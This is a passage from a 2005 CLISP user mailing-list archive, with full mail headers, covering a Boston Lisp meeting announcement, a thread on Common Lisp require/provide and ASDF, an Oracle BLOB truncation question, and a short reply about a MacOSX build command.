sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E7jF3-0008WS-0n for clisp-list@lists.sourceforge.net; Tue, 23 Aug 2005 17:35:45 -0700 Received: from extsmtp3.localnet.com ([207.251.201.55]) by mail.sourceforge.net with smtp (Exim 4.44) id 1E7jF2-0007wy-Kz for clisp-list@lists.sourceforge.net; Tue, 23 Aug 2005 17:35:45 -0700 Received: (qmail 3762 invoked by uid 1011); 24 Aug 2005 00:35:38 -0000 Received: from 10.0.7.18 by bolster (envelope-from , uid 1004) with qmail-scanner-1.23st (spamassassin: 3.0.2. perlscan: 1.23st. Clear:RC:0(10.0.7.18):SA:0(0.5/10.0):. Processed in 0.206597 secs); 24 Aug 2005 00:35:38 -0000 X-Spam-Status: No, hits=0.5 required=10.0 Received: from unknown (HELO smtp1.localnet.com) (10.0.7.18) by extsmtp3.localnet.com with SMTP; 24 Aug 2005 00:35:38 -0000 Received: (qmail 23289 invoked from network); 24 Aug 2005 00:35:37 -0000 Received: from unknown (HELO ieee.org) (63.246.198.32) by smtp3.localnet.com with SMTP; 24 Aug 2005 00:35:37 -0000 Message-ID: <430BC0C3.838D3736@ieee.org> From: Donna and Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.8 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.5 INFO_TLD URI: Contains an URL in the INFO top-level domain Subject: [clisp-list] Boston area Lisp users' group meeting on Monday, Sept 26th at 5:30 PM. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 23 17:37:28 2005 X-Original-Date: Tue, 23 Aug 2005 20:35:15 -0400 A meeting of Common Lisp users will be held at MaK Technologies location in Cambridge. A short talk is planned Kent Pitman, who will speak on "The State of Lisp" followed by a round table discussion. MaK Technologies is located at 10 Fawcett Street - Cambridge, MA 02138. Directions are here: http://www.mak.com/directions.php Light refreshments will be served. Please respond to: rsvp-boston at the host common-lisp.info Further information may be found on http://www.common-lisp.info/meetings/boston/2005-09/ From wolfjb@bigfoot.com Wed Aug 24 11:05:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E7zdJ-0001aQ-PM for clisp-list@lists.sourceforge.net; Wed, 24 Aug 2005 11:05:53 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E7zdI-0007gs-BZ for clisp-list@lists.sourceforge.net; Wed, 24 Aug 2005 11:05:53 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 48) by public.nontrivial.org with local; Wed, 24 Aug 2005 13:05:43 -0500 id 0003EA44.430CB6F7.00001C73 Received: from 12.41.204.3 (SquirrelMail authenticated user jeff) by mail.nontrivial.org with HTTP; Wed, 24 Aug 2005 13:05:42 -0500 (CDT) Message-ID: <29964.12.41.204.3.1124906742.squirrel@mail.nontrivial.org> From: "Jeff Bowman" To: clisp-list@lists.sourceforge.net Reply-To: wolfjb@bigfoot.com User-Agent: SquirrelMail/1.4.4-1.FC3 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) Importance: Normal X-Mime-Autoconverted: from 8bit to 7bit by courier 0.49 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] questions about provide and require Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 24 11:06:36 2005 X-Original-Date: Wed, 24 Aug 2005 13:05:42 -0500 (CDT) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I noticed that (require 'foo) didn't work for me after an upgrade to 2.34 on either cygwin or linux. I did some reading on CLHS about require and found my syntax to be wrong and should have been (require "foo") which does work fine. However, while reading this link about require, http://www.lispworks.com/documentation/HyperSpec/Body/f_provid.htm I noticed the notes section at the bottom that says require and provide are both deprecated, however, there isn't any indication of what should be used in their place. The load function seems to always load while the require function only loads when the module-name isn't present in *modules*. How do I get require behavior if that function is deprecated? Or maybe stated differently, what function should I use in place of require? On a related topic, I have code which uses the provide function. Some example code might look something like this: (defpackage "DEMO" (:use "CL") (:export "DEMO-NUMBER" "ADD" "NUMBER-A" "NUMBER-B")) (provide "demo") (in-package "DEMO") (provide "demo-number") (defclass demo-number () ((number-a :accessor number-a :initform 3) (number-b :accessor number-b :initform 2))) (defgeneric add (demo-number)) (defmethod add ((n1 demo-number)) (+ (slot-value n1 'number-a) (slot-value n1 'number-b))) I have 2 provides in this code, and I'd like advice on which one is more correct (if either) and secondly: if provide is deprecated, what should I use instead? Thanks, Jeff -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFDDLb2cZdQORGez0sRAiiNAJoCwEVCz6dDkOSFszZR01jB9huYhQCgi7kY +TOMWsDB7FsFnyJIKfD8o90= =oNBt -----END PGP SIGNATURE----- From s11@member.fsf.org Wed Aug 24 13:50:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E82CX-0001D1-95 for clisp-list@lists.sourceforge.net; Wed, 24 Aug 2005 13:50:25 -0700 Received: from sccimhc92.asp.att.net ([63.240.76.166]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E82CV-0007kk-6Q for clisp-list@lists.sourceforge.net; Wed, 24 Aug 2005 13:50:25 -0700 Received: from [192.168.10.2] (12-220-39-45.client.insightbb.com[12.220.39.45]) by sccimhc92.asp.att.net (sccimhc92) with SMTP id <20050824205013i9200qm7g5e>; Wed, 24 Aug 2005 20:50:13 +0000 Subject: Re: [clisp-list] questions about provide and require From: Stephen Compall To: wolfjb@bigfoot.com Cc: clisp-list@lists.sourceforge.net In-Reply-To: <29964.12.41.204.3.1124906742.squirrel@mail.nontrivial.org> References: <29964.12.41.204.3.1124906742.squirrel@mail.nontrivial.org> Content-Type: text/plain Message-Id: <1124916612.19421.0.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.4-3.1.102mdk Content-Transfer-Encoding: 7bit X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 0.2 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 24 13:51:22 2005 X-Original-Date: Wed, 24 Aug 2005 15:50:11 -0500 On Wed, 2005-08-24 at 13:05 -0500, Jeff Bowman wrote: > I noticed that (require 'foo) didn't work for me after an upgrade to 2.34 > on either cygwin or linux. I did some reading on CLHS about require and > found my syntax to be wrong and should have been (require "foo") which > does work fine. CLOCC uses (require :foo). Also, and this is just a wild guess, but if the requiring CL package and the providing CL package are different, then the symbol FOO in the require form will not be equal to the symbol FOO in the provide form. I suppose this is why CLOCC uses keywords. > I noticed the notes section at the bottom that says require and provide > are both deprecated, however, there isn't any indication of what should be > used in their place. The load function seems to always load while the > require function only loads when the module-name isn't present in > *modules*. How do I get require behavior if that function is deprecated? > Or maybe stated differently, what function should I use in place of > require? It depends on what you mean by "require behavior". If you are generally referring to one-time module loading, ASDF and MK-DEFSYSTEM provide powerful replacements. The former seems to be preferred lately. -- Stephen Compall http://scompall.nocandysoftware.com/blog From wolfjb@bigfoot.com Wed Aug 24 14:49:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E837G-000416-Bt for clisp-list@lists.sourceforge.net; Wed, 24 Aug 2005 14:49:02 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E837F-00032H-60 for clisp-list@lists.sourceforge.net; Wed, 24 Aug 2005 14:49:02 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 48) by public.nontrivial.org with local; Wed, 24 Aug 2005 16:48:54 -0500 id 0003EA44.430CEB46.00002120 Received: from 12.41.204.3 (SquirrelMail authenticated user jeff) by mail.nontrivial.org with HTTP; Wed, 24 Aug 2005 16:48:54 -0500 (CDT) Message-ID: <45253.12.41.204.3.1124920134.squirrel@mail.nontrivial.org> In-Reply-To: <1124916612.19421.0.camel@nocandy.dyndns.org> References: <29964.12.41.204.3.1124906742.squirrel@mail.nontrivial.org> <1124916612.19421.0.camel@nocandy.dyndns.org> Subject: Re: [clisp-list] questions about provide and require From: "Jeff Bowman" To: clisp-list@lists.sourceforge.net Reply-To: wolfjb@bigfoot.com User-Agent: SquirrelMail/1.4.4-1.FC3 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) Importance: Normal X-Mime-Autoconverted: from 8bit to 7bit by courier 0.49 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 24 14:50:24 2005 X-Original-Date: Wed, 24 Aug 2005 16:48:54 -0500 (CDT) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > On Wed, 2005-08-24 at 13:05 -0500, Jeff Bowman wrote: >> I noticed that (require 'foo) didn't work for me after an upgrade to >> 2.34 >> on either cygwin or linux. I did some reading on CLHS about require and >> found my syntax to be wrong and should have been (require "foo") which >> does work fine. > > CLOCC uses (require :foo). Interesting. I tried (require :demo) using the code from the earlier post which was in a file called demo.lisp in the current directory and I got this error: *** - LOAD: A file with name DEMO does not exist but (require :demo.lisp) loaded fine. But, I'd rather not add '.lisp' to all my requires. > Also, and this is just a wild guess, but if > the requiring CL package and the providing CL package are different, > then the symbol FOO in the require form will not be equal to the symbol > FOO in the provide form. I suppose this is why CLOCC uses keywords. > so maybe I should use the (provide "demo") outside of the package then? >> I noticed the notes section at the bottom that says require and provide >> are both deprecated, however, there isn't any indication of what should >> be >> used in their place. The load function seems to always load while the >> require function only loads when the module-name isn't present in >> *modules*. How do I get require behavior if that function is deprecated? >> Or maybe stated differently, what function should I use in place of >> require? > > It depends on what you mean by "require behavior". If you are generally > referring to one-time module loading, ASDF and MK-DEFSYSTEM provide > powerful replacements. The former seems to be preferred lately. > Yes, I mean the load-it-once behavior. I'm not terribly familiar with these (asdf/mk-defsystem), I'll have to read about them. > -- > Stephen Compall > http://scompall.nocandysoftware.com/blog > > Thanks for the information. Jeff -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFDDOtFcZdQORGez0sRAlDYAJwMqIL5gH8VSB34B1M70ZMDcxpaMgCdEQfQ kmmJLRTHIE5kAoWUI1GoUdM= =aMBe -----END PGP SIGNATURE----- From s11@member.fsf.org Wed Aug 24 21:53:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E89jl-0005uu-Pp for clisp-list@lists.sourceforge.net; Wed, 24 Aug 2005 21:53:13 -0700 Received: from sccimhc92.asp.att.net ([63.240.76.166]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E89jk-0005F2-Mj for clisp-list@lists.sourceforge.net; Wed, 24 Aug 2005 21:53:14 -0700 Received: from [192.168.10.2] (12-220-39-45.client.insightbb.com[12.220.39.45]) by sccimhc92.asp.att.net (sccimhc92) with SMTP id <20050825045303i9200qkss7e>; Thu, 25 Aug 2005 04:53:03 +0000 Subject: Re: [clisp-list] questions about provide and require From: Stephen Compall To: wolfjb@bigfoot.com Cc: clisp-list@lists.sourceforge.net In-Reply-To: <45253.12.41.204.3.1124920134.squirrel@mail.nontrivial.org> References: <29964.12.41.204.3.1124906742.squirrel@mail.nontrivial.org> <1124916612.19421.0.camel@nocandy.dyndns.org> <45253.12.41.204.3.1124920134.squirrel@mail.nontrivial.org> Content-Type: text/plain Message-Id: <1124945582.19421.15.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.4-3.1.102mdk Content-Transfer-Encoding: 7bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.6 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 24 21:54:14 2005 X-Original-Date: Wed, 24 Aug 2005 23:53:02 -0500 On Wed, 2005-08-24 at 16:48 -0500, Jeff Bowman wrote: > > CLOCC uses (require :foo). > > Interesting. I tried (require :demo) using the code from the earlier post > which was in a file called demo.lisp in the current directory and I got > this error: > *** - LOAD: A file with name DEMO does not exist The reader folds the case of the symbol based on the value of the place (readtable-case *readtable*). In CL (non `-modern'), this is usually :upcase. So it is using the symbol-name of :demo, which is "DEMO", and you didn't name your file "DEMO.lisp" right? In CLOCC, the second argument is always supplied. So you would say (require :demo "demo"). Note that ASDF and MK-DEFSYSTEM don't suffer this drawback; you can refer to your package as :demo and they will look for demo.asd for the former, something else for the latter. > but (require :demo.lisp) loaded fine. But, I'd rather not add '.lisp' to > all my requires. I don't care to guess on that :) > > Also, and this is just a wild guess, but if > > the requiring CL package and the providing CL package are different, > > then the symbol FOO in the require form will not be equal to the symbol > > FOO in the provide form. I suppose this is why CLOCC uses keywords. > > so maybe I should use the (provide "demo") outside of the package then? The current package doesn't affect how strings are read. Here is an example, assuming you have a package called demo. I cut out the prints that don't matter. CL-USER> (in-package #:cl-user) CL-USER> (defparameter *syms* '()) CL-USER> (in-package #:demo) DEMO> (push 'demo cl-user::*syms*) (DEMO) DEMO> (in-package #:cl-user) CL-USER> (push 'demo *syms*) (DEMO DEMO::DEMO) CL-USER> (mapcar (lambda (s) (package-name (symbol-package s))) *syms*) ("COMMON-LISP-USER" "DEMO") Note that the symbols in *syms*, though expressed in exactly the same way, are completely different. -- Stephen Compall http://scompall.nocandysoftware.com/blog From kvietaag@seznam.cz Thu Aug 25 03:55:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8FOM-0002Q0-Ru for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 03:55:30 -0700 Received: from kwall.cncz.cz ([194.213.192.9] helo=czgw.cncz.cz ident=g2e29ml52pthlt6yal3g) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8FOJ-0003CJ-N4 for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 03:55:31 -0700 Received: from czgw.cncz.cz (arwen [127.0.0.1]) by czgw.cncz.cz (Postfix) with ESMTP id 8FAAD5137A for ; Thu, 25 Aug 2005 12:55:21 +0200 (CEST) Received: from [10.3.64.134] (unknown [10.3.64.134]) by czgw.cncz.cz (Postfix) with ESMTP id 3DA4E51376 for ; Thu, 25 Aug 2005 12:55:21 +0200 (CEST) Message-ID: <430DA3A2.9090809@seznam.cz> From: Tomas Hlavaty User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-BitDefender-SpamStamp: 1.1.4 049000040111AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI X-BitDefender-Scanner: Clean, Agent: BitDefender POSTFIX 1.6.2 on arwen X-BitDefender-Spam: No (25) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] clisp oracle module blob problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 03:56:34 2005 X-Original-Date: Thu, 25 Aug 2005 11:55:30 +0100 I have a problem retrieving BLOBs from Oracle. The trouble is that the oracle module returns LOBs as zero terminated strings (at the low level). The BLOB is truncated if it contains zero byte. Have anybody come across this problem? Sample code: (oracle:run-sql "select id, doc from tab" (oracle:do-rows (id doc) (princ (type-of doc)) ;; THE PROBLEM IS HERE ALREADY (with-open-file (stream (format nil "~a/~a.pdf" dir id) :direction :output :if-exists :supersede :element-type '(unsigned-byte 8)) (write-byte-sequence (convert-string-to-bytes (coerce doc 'string) CUSTOM:*FOREIGN-ENCODING*) stream)))) I can think of some solutions to this: 1) Return BLOBs as byte array: needs to change oracle module both in C and Lisp:-( Might be a lot of work especially when I'm not familiar with low level details of CLisp. This would be ideal solution. 2) Retrieve BLOBs as text, e.g. "select id, doc, utl_encode.base64_encode(doc) as txt from tab". However, this works for short BLOBs only (about 2kB?). Any ideas? Thanks a lot, Tomas From wolfjb@bigfoot.com Thu Aug 25 06:45:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8I3G-0001Eh-LJ for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 06:45:54 -0700 Received: from eastrmmtao02.cox.net ([68.230.240.37]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8I3E-0005hC-8w for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 06:45:54 -0700 Received: from [192.168.150.201] (really [68.12.179.171]) by eastrmmtao02.cox.net (InterMail vM.6.01.04.00 201-2131-118-20041027) with ESMTP id <20050825134546.SLRW12154.eastrmmtao02.cox.net@[192.168.150.201]> for ; Thu, 25 Aug 2005 09:45:46 -0400 Message-ID: <430DCB9B.5010401@bigfoot.com> From: Jeff Bowman Reply-To: wolfjb@bigfoot.com User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050727) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] questions about provide and require References: <29964.12.41.204.3.1124906742.squirrel@mail.nontrivial.org> <1124916612.19421.0.camel@nocandy.dyndns.org> <45253.12.41.204.3.1124920134.squirrel@mail.nontrivial.org> <1124945582.19421.15.camel@nocandy.dyndns.org> In-Reply-To: <1124945582.19421.15.camel@nocandy.dyndns.org> X-Enigmail-Version: 0.92.0.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 06:46:50 2005 X-Original-Date: Thu, 25 Aug 2005 08:46:03 -0500 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Stephen Compall wrote: > On Wed, 2005-08-24 at 16:48 -0500, Jeff Bowman wrote: > >>>CLOCC uses (require :foo). >> >>Interesting. I tried (require :demo) using the code from the earlier post >>which was in a file called demo.lisp in the current directory and I got >>this error: >>*** - LOAD: A file with name DEMO does not exist > > > The reader folds the case of the symbol based on the value of the place > (readtable-case *readtable*). In CL (non `-modern'), this is > usually :upcase. So it is using the symbol-name of :demo, which is > "DEMO", and you didn't name your file "DEMO.lisp" right? > True, the file is named "demo.lisp". > In CLOCC, the second argument is always supplied. So you would say > (require :demo "demo"). > Ah! > Note that ASDF and MK-DEFSYSTEM don't suffer this drawback; you can > refer to your package as :demo and they will look for demo.asd for the > former, something else for the latter. > I've started reading about ASDF. But it still looks like a build system to me so far. Well, except for the form (asdf:operate 'asdf:load-op 'demo) which appears to replace (require :demo "demo"). I'm still too new at this, so I'll have to read it again. > >>but (require :demo.lisp) loaded fine. But, I'd rather not add '.lisp' to >>all my requires. > > > I don't care to guess on that :) > hehehe. Answered above though. Thanks. > >>>Also, and this is just a wild guess, but if >>>the requiring CL package and the providing CL package are different, >>>then the symbol FOO in the require form will not be equal to the symbol >>>FOO in the provide form. I suppose this is why CLOCC uses keywords. >> >>so maybe I should use the (provide "demo") outside of the package then? > > > The current package doesn't affect how strings are read. Here is an > example, assuming you have a package called demo. I cut out the prints > that don't matter. > > CL-USER> (in-package #:cl-user) > CL-USER> (defparameter *syms* '()) > CL-USER> (in-package #:demo) > DEMO> (push 'demo cl-user::*syms*) > (DEMO) > DEMO> (in-package #:cl-user) > CL-USER> (push 'demo *syms*) > (DEMO DEMO::DEMO) > CL-USER> (mapcar (lambda (s) (package-name (symbol-package s))) *syms*) > ("COMMON-LISP-USER" "DEMO") > > Note that the symbols in *syms*, though expressed in exactly the same > way, are completely different. > That is enlightening. Thanks for the explanation. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDDcubcZdQORGez0sRArXTAKC21dPtWbb9ikvvTr9vEWRYguCRcwCgvFcX We/JdgGtRcZPja33PZcTytQ= =zsng -----END PGP SIGNATURE----- From sds@gnu.org Thu Aug 25 08:56:21 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8K5H-0007ry-AO for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 08:56:07 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8K5D-0004Ew-7c for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 08:56:06 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7PFtcj8025165; Thu, 25 Aug 2005 11:55:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050821070040.A260B10FBF3@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sun, 21 Aug 2005 09:00:40 +0200 (CEST)") References: <20050821070040.A260B10FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: compiled 2.34 on MacOSX + a patch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 08:57:44 2005 X-Original-Date: Thu, 25 Aug 2005 11:54:51 -0400 > * Pascal Bourguignon [2005-08-21 09:00:40 +0200]: > > rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local > $(for m in clx/new-clx regexp syscalls ; do echo --with-module=$m ; > done) --build /tmp/clisp-2.34-build --install Pascal, if _you_ do not read the NEWS file - not even the "Important notes" in the very beginning - who am I writing it for?! -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, why doesn't this magnet pick up this floppy disk? From sds@gnu.org Thu Aug 25 09:00:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E8K9Y-00006P-B7 for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 09:00:32 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E8K9V-0005dK-RN for clisp-list@lists.sourceforge.net; Thu, 25 Aug 2005 09:00:32 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7PG0JGW025798; Thu, 25 Aug 2005 12:00:19 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Mon, 22 Aug 2005 16:10:07 -0700") References: <17140.62823.23495.34834@thalassa.informatimago.com> <17141.13876.730904.757850@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 25 09:01:53 2005 X-Original-Date: Thu, 25 Aug 2005 11:59:32 -0400 